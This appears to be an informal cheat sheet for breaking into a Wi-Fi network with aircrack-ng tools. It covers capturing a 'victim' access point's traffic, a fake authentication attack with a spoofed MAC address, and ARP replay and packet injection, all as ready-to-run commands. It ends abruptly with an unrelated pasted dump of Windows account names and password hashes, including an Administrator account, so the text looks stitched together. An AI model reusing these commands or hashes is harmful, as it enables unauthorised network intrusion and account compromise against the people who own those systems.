PREPARE:
1 2 | # airmon-ng start ath0 # airodump-ng –w tmp ath0 |
ctrl+c, search your “victim”.. copy the bssid of the victim and read the channel, for example we use channel 1:
DUMP:
1 | # airodump-ng –w Neo –c 1 ath0 |
switch to another shell..
GENERATE TRAFFIC#1 — no host traffic
Fake Authentication Attack
This attack won’t generate any more traffic but it does create an associative client MAC Address useful for the above two attacks. Its definately not as good as having a real, connected client, but you gots to do what you gots to do.
This is done easiest with another machine because we need a new MAC address but if you can manually change your MAC then that’ll work too. We’ll call your new MAC address “Fake MAC”.
Now most APs need clients to reassociate every 30 seconds or so or they think they’re disconnected. This is pretty arbitrary but I use it and it has worked but if your Fake MAC gets disconnected, reassociate quicker. We need both the essid and bssid and our Fake MAC.
1 | ./aireplay –1 30 –e ‘<ESSID>’ –a <BSSID> –h <Fake MAC> ath0 |
If successful, you should see something like this:
23:47:29 Sending Authentication Request
23:47:29 Authentication successful
23:47:30 Sending Association Request
23:47:30 Association successful :-)
1 | aireplay-ng –fakeauth 30 –e … |
GENERATE TRAFFIC#2 — host traffic
1 2 | # aireplay-ng –arpreplay –b MAC_OF_AP –h CLIENT ath0 # aireplay-ng –interactive –a AP_BSSID –h STATION_MAC ath0 |
Reject any packets with Dest. MAC = FF:FF:FF:FF:FF:FF
1 2 3 4 5 | CliAdmIT:500:b38f545135640a39ef37e41421db1c08:c8e1c75818e7fbaac8ade9c1869f7cd6::: Guest:501:aad3b435b51404eeaad3b435b51404ee:::: L-Install:1000:db0d86e6d977165e0692647ff72b7766:c3e2b0bb54d5e85dc4051b320dc518ef::: Administrator:1002:b160e39fa3d56ea7d7774daff129ff74:0c304136fab3f94b9a1da07c8aa6856e::: ASPNET:1003:6f6e2e6c5432b2ab3e290339a04e6d1d:d51d13a9aa736462f60d9f69ff201ae0::: |
